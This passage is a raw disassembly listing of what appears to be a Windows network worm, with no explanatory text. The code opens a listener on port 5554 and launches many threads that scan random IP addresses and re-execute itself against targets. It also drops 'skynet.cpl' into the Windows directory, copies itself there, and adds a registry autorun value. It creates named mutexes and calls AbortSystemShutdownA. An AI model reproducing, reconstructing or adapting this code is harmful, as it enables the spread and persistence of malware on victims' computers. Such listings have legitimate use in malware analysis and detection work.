sub_401B08+1DDj ; sub_401B08+21Bj ... push [ebp+var_C] call dword_40713C ; closesocket push 0 push off_4088DC ; Str call _strlen pop ecx push eax push off_4088DC loc_401DD7: ; CODE XREF: sub_401B08+197j push [ebp+arg_0] jmp short loc_401E12 ; --------------------------------------------------------------------------- loc_401DDC: ; CODE XREF: sub_401B08+1B1j lea eax, [ebp+Str] push offset aQuit ; "QUIT" push eax ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_401DFC push ebx call dword_40713C ; closesocket jmp short loc_401E14 ; --------------------------------------------------------------------------- loc_401DFC: ; CODE XREF: sub_401B08+2E9j push 0 push off_4088DC ; Str call _strlen pop ecx push eax push off_4088DC loc_401E11: ; CODE XREF: sub_401B08+8Aj ; sub_401B08+BBj push ebx loc_401E12: ; CODE XREF: sub_401B08+2D2j call esi ; send loc_401E14: ; CODE XREF: sub_401B08+2F2j cmp [ebp+var_10], 0 jg loc_401B43 push [ebp+arg_0] call dword_40713C ; closesocket pop edi pop esi loc_401E29: ; CODE XREF: sub_401B08+10j xor eax, eax pop ebx leave retn 4 sub_401B08 endp ; =============== S U B R O U T I N E ======================================= sub_401E30 proc near ; CODE XREF: sub_401B08+119p ; sub_401B08+129p ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi xor edi, edi loc_401E38: ; CODE XREF: sub_401E30+13j mov al, [esi] cmp al, 20h jz short loc_401E42 cmp al, 9 jnz short loc_401E45 loc_401E42: ; CODE XREF: sub_401E30+Cj inc esi jmp short loc_401E38 ; --------------------------------------------------------------------------- loc_401E45: ; CODE XREF: sub_401E30+10j ; sub_401E30+2Ej movsx eax, byte ptr [esi] push eax ; C call _isalnum test eax, eax pop ecx jz short loc_401E60 movsx ecx, byte ptr [esi] lea eax, [edi+edi*4] inc esi lea edi, [ecx+eax*2-30h] jmp short loc_401E45 ; --------------------------------------------------------------------------- loc_401E60: ; CODE XREF: sub_401E30+21j mov eax, edi pop edi pop esi retn sub_401E30 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401E65 proc near ; DATA XREF: WinMain(x,x,x,x)+7Ao var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 14h push esi xor esi, esi push edi push esi push 1 push 2 call dword_407134 ; socket mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_401E89 loc_401E81: ; CODE XREF: sub_401E65+63j pop edi xor eax, eax pop esi leave retn 4 ; --------------------------------------------------------------------------- loc_401E89: ; CODE XREF: sub_401E65+1Aj push 15B2h mov [ebp+var_14], 2 call dword_407130 ; ntohs mov [ebp+var_12], ax lea eax, [ebp+var_14] push 10h push eax push edi mov [ebp+var_10], esi call dword_407154 ; bind cmp eax, 0FFFFFFFFh jz short loc_401EC1 push 5 push edi call dword_407120 ; listen cmp eax, 0FFFFFFFFh jnz short loc_401ECA loc_401EC1: ; CODE XREF: sub_401E65+4Cj push edi call dword_40713C ; closesocket jmp short loc_401E81 ; --------------------------------------------------------------------------- loc_401ECA: ; CODE XREF: sub_401E65+5Aj ; sub_401E65+89j push esi push esi push edi call dword_407124 ; accept lea ecx, [ebp+var_4] push ecx push esi push eax push offset sub_401B08 push esi push esi call dword_407038 ; CreateThread push 19h call dword_407028 ; Sleep jmp short loc_401ECA sub_401E65 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_401EF0 proc near ; DATA XREF: WinMain(x,x,x,x)+8Co Source = byte ptr -454h var_438 = byte ptr -438h Dest = byte ptr -400h sub esp, 454h push ebx push ebp mov ebp, dword_407118 push esi push edi mov esi, 0FFh loc_401F05: ; CODE XREF: sub_401EF0+134j lea eax, [esp+464h+var_438] push eax call sub_4010D2 pop ecx lea eax, [esp+464h+var_438] push eax call dword_407148 ; inet_addr movsx edi, al test edi, edi movsx ebx, ah jge short loc_401F2B add edi, 100h loc_401F2B: ; CODE XREF: sub_401EF0+33j test ebx, ebx jge short loc_401F35 add ebx, 100h loc_401F35: ; CODE XREF: sub_401EF0+3Dj call sub_401000 push 1Fh cdq pop ecx idiv ecx cmp edx, 0Fh jle short loc_401F92 call sub_401000 push 1Fh cdq pop ecx idiv ecx cmp edx, 0Fh jle short loc_401F78 call sub_401000 cdq mov ecx, esi idiv ecx push edx call sub_401000 cdq mov ecx, esi idiv ecx push edx call sub_401000 cdq mov ecx, esi idiv ecx push edx jmp short loc_401F8F ; --------------------------------------------------------------------------- loc_401F78: ; CODE XREF: sub_401EF0+63j call sub_401000 cdq mov ecx, esi idiv ecx push edx call sub_401000 cdq mov ecx, esi idiv ecx push edx push ebx loc_401F8F: ; CODE XREF: sub_401EF0+86j push edi jmp short loc_401FBE ; --------------------------------------------------------------------------- loc_401F92: ; CODE XREF: sub_401EF0+53j call sub_401000 cdq mov ecx, esi idiv ecx push edx call sub_401000 cdq mov ecx, esi idiv ecx push edx call sub_401000 cdq mov ecx, esi idiv ecx push edx call sub_401000 cdq mov ecx, esi idiv ecx push edx loc_401FBE: ; CODE XREF: sub_401EF0+A0j lea eax, [esp+474h+Source] push offset aI_I_I_I ; "%i.%i.%i.%i" push eax call ebp ; wsprintfA add esp, 18h lea eax, [esp+464h+Source] push eax call sub_401153 cmp al, 1 pop ecx jnz short loc_40201C lea eax, [esp+464h+Dest] push 400h push eax push 0 call dword_407034 ; GetModuleFileNameA lea eax, [esp+464h+Dest] push offset asc_408A7C ; " " push eax ; Dest call _strcat lea eax, [esp+46Ch+Source] push eax ; Source lea eax, [esp+470h+Dest] push eax ; Dest call _strcat add esp, 10h lea eax, [esp+464h+Dest] push 0 push eax call dword_40703C ; WinExec loc_40201C: ; CODE XREF: sub_401EF0+EAj push 19h call dword_407028 ; Sleep jmp loc_401F05 sub_401EF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402029 proc near ; CODE XREF: sub_4020B8+4Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor esi, esi push edi push esi mov [ebp+var_4], esi call dword_40705C ; GetModuleHandleA mov edi, eax push offset aBinary ; "BINARY" movzx eax, word ptr [ebp+arg_0] push eax push edi call dword_407058 ; FindResourceA mov ebx, eax push ebx push edi call dword_407054 ; LoadResource push eax call dword_407050 ; SetHandleCount cmp eax, esi mov [ebp+arg_0], eax jz short loc_402090 push ebx push edi call dword_40704C ; SizeofResource push esi push 80h push 2 push esi push esi push 40000000h push [ebp+arg_4] mov edi, eax call dword_407048 ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_402094 loc_402090: ; CODE XREF: sub_402029+3Cj xor eax, eax jmp short loc_4020B3 ; --------------------------------------------------------------------------- loc_402094: ; CODE XREF: sub_402029+65j lea eax, [ebp+var_4] push esi push eax push edi push [ebp+arg_0] push ebx call dword_407044 ; WriteFile push ebx call dword_407040 ; CloseHandle xor eax, eax cmp [ebp+var_4], edi setz al loc_4020B3: ; CODE XREF: sub_402029+69j pop edi pop esi pop ebx leave retn sub_402029 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4020B8 proc near ; CODE XREF: WinMain(x,x,x,x):loc_402161p var_420 = byte ptr -420h var_2 = byte ptr -2 push ebp mov ebp, esp sub esp, 420h push esi lea eax, [ebp+var_420] push 400h push eax call dword_4070BC ; GetWindowsDirectoryA cmp [ebp+var_2], 5Ch mov esi, dword_407060 jz short loc_4020EE lea eax, [ebp+var_420] push offset asc_408A94 ; "\\" push eax call esi ; lstrcatA loc_4020EE: ; CODE XREF: sub_4020B8+26j lea eax, [ebp+var_420] push offset aSkynet_cpl ; "skynet.cpl" push eax call esi ; lstrcatA lea eax, [ebp+var_420] push eax push 67h call sub_402029 lea eax, [ebp+var_420] push eax call sub_40292E add esp, 0Ch pop esi leave retn sub_4020B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd) _WinMain@16 proc near ; CODE XREF: start+C9p var_14 = dword ptr -14h var_8 = byte ptr -8 var_4 = byte ptr -4 hInstance = dword ptr 8 hPrevInstance = dword ptr 0Ch Str = dword ptr 10h nShowCmd = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push esi push edi mov edi, dword_407070 xor esi, esi push offset aJobaka3 ; "Jobaka3" push esi push esi call edi ; CreateMutexA call dword_40706C ; GetTickCount push eax call sub_40101E call sub_401028 push [ebp+Str] ; Str call _strlen pop ecx test eax, eax pop ecx jbe short loc_402161 push [ebp+Str] call sub_401A84 pop ecx push 1 pop eax jmp short loc_4021C9 ; --------------------------------------------------------------------------- loc_402161: ; CODE XREF: WinMain(x,x,x,x)+35j call sub_4020B8 push 1 call sub_4021CF mov [esp+14h+var_14], offset aPinaasosky ; "PinaasoSky" push esi push esi call edi ; CreateMutexA call dword_407068 ; RtlGetLastWin32Error cmp eax, 0B7h jnz short loc_402189 xor eax, eax jmp short loc_4021C9 ; --------------------------------------------------------------------------- loc_402189: ; CODE XREF: WinMain(x,x,x,x)+67j mov edi, dword_407038 lea eax, [ebp+var_4] push ebx push eax push esi push esi push offset sub_401E65 push esi push esi call edi ; CreateThread push 7Ch pop ebx loc_4021A2: ; CODE XREF: WinMain(x,x,x,x)+96j lea eax, [ebp+var_8] push eax push esi push esi push offset sub_401EF0 push esi push esi call edi ; CreateThread dec ebx jnz short loc_4021A2 push esi call dword_407008 ; AbortSystemShutdownA push 5265C00h call dword_407028 ; Sleep xor eax, eax pop ebx loc_4021C9: ; CODE XREF: WinMain(x,x,x,x)+43j ; WinMain(x,x,x,x)+6Bj pop edi pop esi leave retn 10h _WinMain@16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4021CF proc near ; CODE XREF: WinMain(x,x,x,x)+4Cp var_824 = byte ptr -824h var_425 = byte ptr -425h Dest = byte ptr -424h var_4 = dword ptr -4 arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 824h push esi mov esi, 400h lea eax, [ebp+var_824] push esi push eax push 0 call dword_407034 ; GetModuleFileNameA lea eax, [ebp+Dest] push esi push eax call dword_4070BC ; GetWindowsDirectoryA lea eax, [ebp+Dest] push eax ; Str call _strlen cmp [ebp+eax+var_425], 5Ch pop ecx pop esi jz short loc_402227 lea eax, [ebp+Dest] push offset asc_408A94 ; "\\" push eax ; Dest call _strcat pop ecx pop ecx loc_402227: ; CODE XREF: sub_4021CF+43j push off_4088C8 ; Source lea eax, [ebp+Dest] push eax ; Dest call _strcat cmp [ebp+arg_0], 0 pop ecx pop ecx jz short loc_402257 lea eax, [ebp+Dest] push 0 push eax lea eax, [ebp+var_824] push eax call dword_407074 ; CopyFileA loc_402257: ; CODE XREF: sub_4021CF+70j lea eax, [ebp+var_4] push eax push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push 80000002h call dword_40700C ; RegOpenKeyA lea eax, [ebp+Dest] push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Dest] push eax push 1 push 0 push off_4088C8 push [ebp+var_4] call dword_407000 ; RegSetValueExA push [ebp+var_4] call dword_407004 ; RegCloseKey leave retn sub_4021CF endp ; --------------------------------------------------------------------------- align 10h ; [00000058 BYTES: COLLAPSED FUNCTION _memset. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000007B BYTES: COLLAPSED FUNCTION _strlen. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000335 BYTES: COLLAPSED FUNCTION _memcpy. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000002F BYTES: COLLAPSED FUNCTION __alloca_probe. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000080 BYTES: COLLAPSED FUNCTION _strstr. PRESS KEYPAD "+" TO EXPAND] ; [0000009C BYTES: COLLAPSED FUNCTION _strtok. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000007 BYTES: COLLAPSED FUNCTION _strcpy. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000E0 BYTES: COLLAPSED FUNCTION _strcat. PRESS KEYPAD "+" TO EXPAND] ; [0000002E BYTES: COLLAPSED FUNCTION _isalnum. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40292E proc near ; CODE XREF: sub_4020B8+59p Str = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push esi push offset VarName ; "COMSPEC" call _getenv pop ecx xor esi, esi mov ecx, [ebp+arg_0] mov [ebp+Str], eax cmp ecx, esi jnz short loc_402964 cmp eax, esi jnz short loc_402954 xor eax, eax jmp short loc_4029C1 ; --------------------------------------------------------------------------- loc_402954: ; CODE XREF: sub_40292E+20j push esi push eax call sub_403050 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_4029C1 ; --------------------------------------------------------------------------- loc_402964: ; CODE XREF: sub_40292E+1Cj cmp eax, esi mov [ebp+var_C], offset dword_407174 mov [ebp+var_8], ecx mov [ebp+var_4], esi jz short loc_402999 lea ecx, [ebp+Str] push esi ; int push ecx ; int push eax ; Str push esi ; int call __spawnve add esp, 10h cmp eax, 0FFFFFFFFh jnz short loc_4029C1 mov ecx, dword_4090DC cmp ecx, 2 jz short loc_402999 cmp ecx, 0Dh jnz short loc_4029C1 loc_402999: ; CODE XREF: sub_40292E+45j ; sub_40292E+64j test byte ptr dword_4090E8+1, 80h mov [ebp+Str], offset dword_407168 jnz short loc_4029B0 mov [ebp+Str], offset dword_407160 loc_4029B0: ; CODE XREF: sub_40292E+79j lea eax, [ebp+Str] push esi ; int push eax ; int push [ebp+Str] ; Str push esi ; int call __spawnvpe add esp, 10h loc_4029C1: ; CODE XREF: sub_40292E+24j ; sub_40292E+34j ... pop esi leave retn sub_40292E endp ; [000000D7 BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- mov eax, [ebp-14h] mov ecx, [eax] mov ecx, [ecx] mov [ebp-68h], ecx push eax push ecx call __XcptFilter pop ecx pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] push dword ptr [ebp-68h] call __exit ; [00000022 BYTES: COLLAPSED FUNCTION __amsg_exit. PRESS KEYPAD "+" TO EXPAND] pop ecx pop ecx retn ; [00000024 BYTES: COLLAPSED FUNCTION _fast_error_exit. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000005 BYTES: COLLAPSED CHUNK OF FUNCTION _strchr. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000BC BYTES: COLLAPSED FUNCTION _strchr. PRESS KEYPAD "+" TO EXPAND] ; [00000075 BYTES: COLLAPSED FUNCTION __isctype. PRESS KEYPAD "+" TO EXPAND] ; [00000163 BYTES: COLLAPSED FUNCTION __spawnvpe. PRESS KEYPAD "+" TO EXPAND] ; [0000002D BYTES: COLLAPSED FUNCTION __cinit. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION _exit. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION __exit. PRESS KEYPAD "+" TO EXPAND] ; [00000099 BYTES: COLLAPSED FUNCTION _doexit. PRESS KEYPAD "+" TO EXPAND] ; [0000001A BYTES: COLLAPSED FUNCTION __initterm. PRESS KEYPAD "+" TO EXPAND] ; [00000149 BYTES: COLLAPSED FUNCTION __spawnve. PRESS KEYPAD "+" TO EXPAND] ; [00000051 BYTES: COLLAPSED FUNCTION _comexecmd. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_403050 proc near ; CODE XREF: sub_40292E+28p ; __spawnve+8Ap ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] call dword_4070DC ; GetFileAttributesA cmp eax, 0FFFFFFFFh jnz short loc_403070 call dword_407068 ; RtlGetLastWin32Error push eax call __dosmaperr pop ecx loc_40306C: ; CODE XREF: sub_403050+3Fj or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_403070: ; CODE XREF: sub_403050+Dj test al, 1 jz short loc_403091 test [esp+arg_4], 2 jz short loc_403091 mov dword_4090DC, 0Dh mov dword_4090E0, 5 jmp short loc_40306C ; --------------------------------------------------------------------------- loc_403091: ; CODE XREF: sub_403050+22j ; sub_403050+29j xor eax, eax retn sub_403050 endp ; [0000007D BYTES: COLLAPSED FUNCTION _getenv. PRESS KEYPAD "+" TO EXPAND] ; [00000141 BYTES: COLLAPSED FUNCTION __XcptFilter. PRESS KEYPAD "+" TO EXPAND] ; [00000043 BYTES: COLLAPSED FUNCTION _xcptlookup. PRESS KEYPAD "+" TO EXPAND] ; [00000058 BYTES: COLLAPSED FUNCTION __wincmdln. PRESS KEYPAD "+" TO EXPAND] ; [000000B9 BYTES: COLLAPSED FUNCTION __setenvp. PRESS KEYPAD "+" TO EXPAND] ; [00000099 BYTES: COLLAPSED FUNCTION __setargv. PRESS KEYPAD "+" TO EXPAND] ; [000001B4 BYTES: COLLAPSED FUNCTION _parse_cmdline. PRESS KEYPAD "+" TO EXPAND] ; [00000132 BYTES: COLLAPSED FUNCTION ___crtGetEnvironmentStringsA. PRESS KEYPAD "+" TO EXPAND] ; [000001AB BYTES: COLLAPSED FUNCTION __ioinit. PRESS KEYPAD "+" TO EXPAND] ; [0000003C BYTES: COLLAPSED FUNCTION __heap_init. PRESS KEYPAD "+" TO EXPAND] ; [00000020 BYTES: COLLAPSED FUNCTION __global_unwind2. PRESS KEYPAD "+" TO EXPAND] ; [00000022 BYTES: COLLAPSED FUNCTION __unwind_handler. PRESS KEYPAD "+" TO EXPAND] ; [00000068 BYTES: COLLAPSED FUNCTION __local_unwind2. PRESS KEYPAD "+" TO EXPAND] ; [00000023 BYTES: COLLAPSED FUNCTION __abnormal_termination. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- __NLG_Notify1: push ebx push ecx mov ebx, offset dword_408DAC jmp short loc_4039EC ; [00000018 BYTES: COLLAPSED FUNCTION __NLG_Notify. PRESS KEYPAD "+" TO EXPAND] align 4 push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; [000000BD BYTES: COLLAPSED FUNCTION unknown_libname_1. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- unknown_libname_2: ; Microsoft VisualC 2-8/net runtime push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call __local_unwind2 add esp, 8 pop ebp retn 4 ; [00000039 BYTES: COLLAPSED FUNCTION __FF_MSGBANNER. PRESS KEYPAD "+" TO EXPAND] ; [00000153 BYTES: COLLAPSED FUNCTION __NMSG_WRITE. PRESS KEYPAD "+" TO EXPAND] ; [00000149 BYTES: COLLAPSED FUNCTION ___crtGetStringTypeA. PRESS KEYPAD "+" TO EXPAND] ; [0000002F BYTES: COLLAPSED FUNCTION _free. PRESS KEYPAD "+" TO EXPAND] ; [00000060 BYTES: COLLAPSED FUNCTION __mbsrchr. PRESS KEYPAD "+" TO EXPAND] ; [00000074 BYTES: COLLAPSED FUNCTION __getpath. PRESS KEYPAD "+" TO EXPAND] ; [00000012 BYTES: COLLAPSED FUNCTION _malloc. PRESS KEYPAD "+" TO EXPAND] ; [0000002C BYTES: COLLAPSED FUNCTION __nh_malloc. PRESS KEYPAD "+" TO EXPAND] ; [00000036 BYTES: COLLAPSED FUNCTION __heap_alloc. PRESS KEYPAD "+" TO EXPAND] ; [00000073 BYTES: COLLAPSED FUNCTION __mbschr. PRESS KEYPAD "+" TO EXPAND] ; [000001DF BYTES: COLLAPSED FUNCTION __dospawn. PRESS KEYPAD "+" TO EXPAND] ; [00000204 BYTES: COLLAPSED FUNCTION __cenvarg. PRESS KEYPAD "+" TO EXPAND] ; [00000067 BYTES: COLLAPSED FUNCTION __dosmaperr. PRESS KEYPAD "+" TO EXPAND] ; [0000003F BYTES: COLLAPSED FUNCTION __mbsnbicoll. PRESS KEYPAD "+" TO EXPAND] ; [0000006E BYTES: COLLAPSED FUNCTION ___wtomb_environ. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION __ismbblead. PRESS KEYPAD "+" TO EXPAND] ; [00000031 BYTES: COLLAPSED FUNCTION _x_ismbbtype. PRESS KEYPAD "+" TO EXPAND] ; [00000199 BYTES: COLLAPSED FUNCTION __setmbcp. PRESS KEYPAD "+" TO EXPAND] ; [0000004A BYTES: COLLAPSED FUNCTION _getSystemCP. PRESS KEYPAD "+" TO EXPAND] ; [00000033 BYTES: COLLAPSED FUNCTION _CPtoLCID. PRESS KEYPAD "+" TO EXPAND] ; [00000029 BYTES: COLLAPSED FUNCTION _setSBCS. PRESS KEYPAD "+" TO EXPAND] ; [00000185 BYTES: COLLAPSED FUNCTION _setSBUpLow. PRESS KEYPAD "+" TO EXPAND] ; [0000001C BYTES: COLLAPSED FUNCTION ___initmbctable. PRESS KEYPAD "+" TO EXPAND] ; [0000003E BYTES: COLLAPSED FUNCTION ___sbh_heap_init. PRESS KEYPAD "+" TO EXPAND] ; [0000002B BYTES: COLLAPSED FUNCTION ___sbh_find_block. PRESS KEYPAD "+" TO EXPAND] ; [0000032B BYTES: COLLAPSED FUNCTION ___sbh_free_block. PRESS KEYPAD "+" TO EXPAND] ; [00000309 BYTES: COLLAPSED FUNCTION ___sbh_alloc_block. PRESS KEYPAD "+" TO EXPAND] ; [000000B1 BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_region. PRESS KEYPAD "+" TO EXPAND] ; [000000FB BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_group. PRESS KEYPAD "+" TO EXPAND] ; [000002F6 BYTES: COLLAPSED FUNCTION ___sbh_resize_block. PRESS KEYPAD "+" TO EXPAND] ; [00000089 BYTES: COLLAPSED FUNCTION ___crtMessageBoxA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000FE BYTES: COLLAPSED FUNCTION _strncpy. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000027 BYTES: COLLAPSED FUNCTION _strrchr. PRESS KEYPAD "+" TO EXPAND] ; [0000001B BYTES: COLLAPSED FUNCTION __callnewh. PRESS KEYPAD "+" TO EXPAND] ; [0000007D BYTES: COLLAPSED FUNCTION _calloc. PRESS KEYPAD "+" TO EXPAND] ; [0000027D BYTES: COLLAPSED FUNCTION ___crtCompareStringA. PRESS KEYPAD "+" TO EXPAND] ; [00000187 BYTES: COLLAPSED FUNCTION ___crtsetenv. PRESS KEYPAD "+" TO EXPAND] ; [00000058 BYTES: COLLAPSED FUNCTION _findenv. PRESS KEYPAD "+" TO EXPAND] ; [00000067 BYTES: COLLAPSED FUNCTION _copy_environ. PRESS KEYPAD "+" TO EXPAND] ; [00000224 BYTES: COLLAPSED FUNCTION ___crtLCMapStringA. PRESS KEYPAD "+" TO EXPAND] ; [0000002B BYTES: COLLAPSED FUNCTION _strncnt. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000335 BYTES: COLLAPSED FUNCTION _memcpy_0. PRESS KEYPAD "+" TO EXPAND] ; [00000120 BYTES: COLLAPSED FUNCTION _realloc. PRESS KEYPAD "+" TO EXPAND] ; [0000002B BYTES: COLLAPSED FUNCTION __strdup. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4061E0 proc near ; CODE XREF: __global_unwind2+13p jmp dword_4070B4 sub_4061E0 endp ; --------------------------------------------------------------------------- align 4 dd 386h dup(0) dword_407000 dd 77DDEBE7h ; resolved to->ADVAPI32.RegSetValueExAdword_407004 dd 77DD6BF0h ; resolved to->ADVAPI32.RegCloseKeydword_407008 dd 77E34D78h ; resolved to->ADVAPI32.AbortSystemShutdownAdword_40700C dd 77DFC41Bh ; resolved to->ADVAPI32.RegOpenKeyA dd 0 dword_407014 dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryAdword_407018 dd 7C80BE01h ; resolved to->KERNEL32.lstrcpyA ; sub_40127D+8Fr ... dword_40701C dd 7C834E64h ; resolved to->KERNEL32._lclose ; sub_401B08+2ABr dword_407020 dd 7C838AE7h ; resolved to->KERNEL32._lwritedword_407024 dd 7C8365A5h ; resolved to->KERNEL32._lcreatdword_407028 dd 7C802442h ; resolved to->KERNEL32.Sleep ; sub_40159E+4D0r ... dword_40702C dd 7C8353CEh ; resolved to->KERNEL32._lreaddword_407030 dd 7C85E830h ; resolved to->KERNEL32._lopendword_407034 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameA ; sub_401EF0+F8r ... dword_407038 dd 7C810637h ; resolved to->KERNEL32.CreateThread ; WinMain(x,x,x,x):loc_402189r dword_40703C dd 7C86136Dh ; resolved to->KERNEL32.WinExecdword_407040 dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; __dospawn+195r dword_407044 dd 7C810D87h ; resolved to->KERNEL32.WriteFile ; __NMSG_WRITE+14Ar dword_407048 dd 7C801A24h ; resolved to->KERNEL32.CreateFileAdword_40704C dd 7C80BC69h ; resolved to->KERNEL32.SizeofResourcedword_407050 dd 7C80CC97h ; resolved to->KERNEL32.SetHandleCountdword_407054 dd 7C809FB5h ; resolved to->KERNEL32.LoadResourcedword_407058 dd 7C80BE89h ; resolved to->KERNEL32.FindResourceAdword_40705C dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleAdword_407060 dd 7C834D41h ; resolved to->KERNEL32.lstrcatAdword_407064 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddressdword_407068 dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Error ; sub_403050+Fr ... dword_40706C dd 7C80929Ch ; resolved to->KERNEL32.GetTickCountdword_407070 dd 7C80E93Fh ; resolved to->KERNEL32.CreateMutexAdword_407074 dd 7C8286EEh ; resolved to->KERNEL32.CopyFileAdword_407078 dd 7C838DE8h ; resolved to->KERNEL32.LCMapStringA ; ___crtLCMapStringA+A7r dword_40707C dd 7C833478h ; resolved to->KERNEL32.SetEnvironmentVariableA ; .text:00408624o ... dword_407080 dd 7C80A35Eh ; resolved to->KERNEL32.CompareStringW ; ___crtCompareStringA+261r dword_407084 dd 7C80D077h ; resolved to->KERNEL32.CompareStringA ; ___crtCompareStringA+B9r dword_407088 dd 7C9179FDh ; resolved to->NTDLL.RtlReAllocateHeap ; _realloc+F0r dword_40708C dd 7C809A51h ; resolved to->KERNEL32.VirtualAlloc ; ___sbh_alloc_new_group+51r dword_407090 dd 7C8127A7h ; resolved to->KERNEL32.GetOEMCPdword_407094 dd 7C809915h ; resolved to->KERNEL32.GetACPdword_407098 dd 7C812E76h ; resolved to->KERNEL32.GetCPInfo ; _setSBUpLow+14r ... dword_40709C dd 7C802367h ; resolved to->KERNEL32.CreateProcessAdword_4070A0 dd 7C802520h ; resolved to->KERNEL32.WaitForSingleObjectdword_4070A4 dd 7C81AE17h ; resolved to->KERNEL32.GetExitCodeProcessdword_4070A8 dd 7C9105D4h ; resolved to->NTDLL.RtlAllocateHeap ; ___sbh_heap_init+Dr ... dword_4070AC dd 7C91043Dh ; resolved to->NTDLL.RtlFreeHeap ; ___sbh_free_block+2C4r ... dword_4070B0 dd 7C80A490h ; resolved to->KERNEL32.GetStringTypeW ; ___crtGetStringTypeA+12Dr dword_4070B4 dd 7C937A40h ; resolved to->NTDLL.RtlUnwinddword_4070B8 dd 7C809BF8h ; resolved to->KERNEL32.MultiByteToWideChar ; ___crtGetStringTypeA+11Br ... dword_4070BC dd 7C821363h ; resolved to->KERNEL32.GetWindowsDirectoryA ; sub_4021CF+27r dword_4070C0 dd 7C80CCA8h ; resolved to->KERNEL32.LCMapStringW ; ___crtLCMapStringA+14Dr ... dword_4070C4 dd 7C801EEEh ; resolved to->KERNEL32.GetStartupInfoAdword_4070C8 dd 7C812F1Dh ; resolved to->KERNEL32.GetCommandLineAdword_4070CC dd 7C8111DAh ; resolved to->KERNEL32.GetVersiondword_4070D0 dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; _doexit+91r dword_4070D4 dd 7C801E16h ; resolved to->KERNEL32.TerminateProcessdword_4070D8 dd 7C80DDF5h ; resolved to->KERNEL32.GetCurrentProcessdword_4070DC dd 7C81153Ch ; resolved to->KERNEL32.GetFileAttributesAdword_4070E0 dd 7C862E2Ah ; resolved to->KERNEL32.UnhandledExceptionFilterdword_4070E4 dd 7C81DF77h ; resolved to->KERNEL32.FreeEnvironmentStringsAdword_4070E8 dd 7C814AE7h ; resolved to->KERNEL32.FreeEnvironmentStringsWdword_4070EC dd 7C80A0D4h ; resolved to->KERNEL32.WideCharToMultiByte ; ___wtomb_environ+13r ... dword_4070F0 dd 7C81CF5Bh ; resolved to->KERNEL32.GetEnvironmentStringsA ; ___crtGetEnvironmentStringsA+E1r dword_4070F4 dd 7C812F08h ; resolved to->KERNEL32.GetEnvironmentStringsWdword_4070F8 dd 7C80CC97h ; resolved to->KERNEL32.SetHandleCountdword_4070FC dd 7C812F39h ; resolved to->KERNEL32.GetStdHandle ; __NMSG_WRITE+143r dword_407100 dd 7C810E51h ; resolved to->KERNEL32.GetFileType ; __ioinit+166r dword_407104 dd 7C810EF8h ; resolved to->KERNEL32.HeapDestroydword_407108 dd 7C812BB6h ; resolved to->KERNEL32.HeapCreatedword_40710C dd 7C809AE4h ; resolved to->KERNEL32.VirtualFreedword_407110 dd 7C838A0Ch ; resolved to->KERNEL32.GetStringTypeA ; ___crtGetStringTypeA+8Dr align 8 dword_407118 dd 7E41A8ADh ; resolved to->USER32.wsprintfA ; 